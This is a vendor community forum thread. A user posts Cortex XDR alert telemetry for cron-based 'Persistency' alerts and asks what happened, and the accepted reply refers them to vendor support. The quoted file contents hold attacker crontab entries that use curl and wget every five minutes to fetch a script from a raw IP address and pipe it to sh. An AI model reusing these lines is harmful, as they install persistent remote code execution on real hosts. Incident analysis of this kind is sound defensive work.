'Persistency - 779040014' alerts detected by XDR Agent , 'Persistency - 779040014' alerts prevented by XDR Agent

[Vinothkumar_SBA]

Cortex XDR Incident Query
Persistency - 779040014' alerts prevented by XDR Agent
Process :1
event_id : AAABiGa7kOLjhGEJAA6GWw== cid : 8uEBANWvwcCQbfkAAAAAAA== pid : 123767 instance_id : d+MBAIbfqMK0c/kAAAAAAA== timestamp : 16853507483866422 attributes : 0 sub_type : file_integrity file_path : /var/spool/cron/.root.swp (deleted) canonized_file_path : /var/spool/cron/.root.swp (deleted) file_name : .root.swp (deleted) is_anonymous : 0 telem : 0 file_contents : #####*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
#####*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
entropy : -1 chisq_prob : -1 montepi_err : -1

Persistency - 779040014' alerts detected by XDR Agent
Process :2
event_id : AAABiFz4IUWjl0pdAAAJ3A== cid : AQAAAFU/B+cFAAAAAAAAAA== pid : 1 instance_id : AQAAAFU/B+cFAAAAAAAAAA== timestamp : 16851869453490866 attributes : 0 sub_type : file_integrity file_path : /var/spool/cron/root canonized_file_path : /var/spool/cron/root file_name : root is_anonymous : 0 telem : 0 file_contents : */5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
entropy : -1 chisq_prob : -1 montepi_err : -1


The first process was command not executed, but the xdr agent was blocked, and the second process command was executed but detected.

Please Explain this incident

[SCantwell_IM · Accepted solution]

Good Day

This explanation is best done by the Cortex XDR team at PANW TAC.  I would recommend that you open a web case and allow a certified engineer assist you with the next steps towards resolution.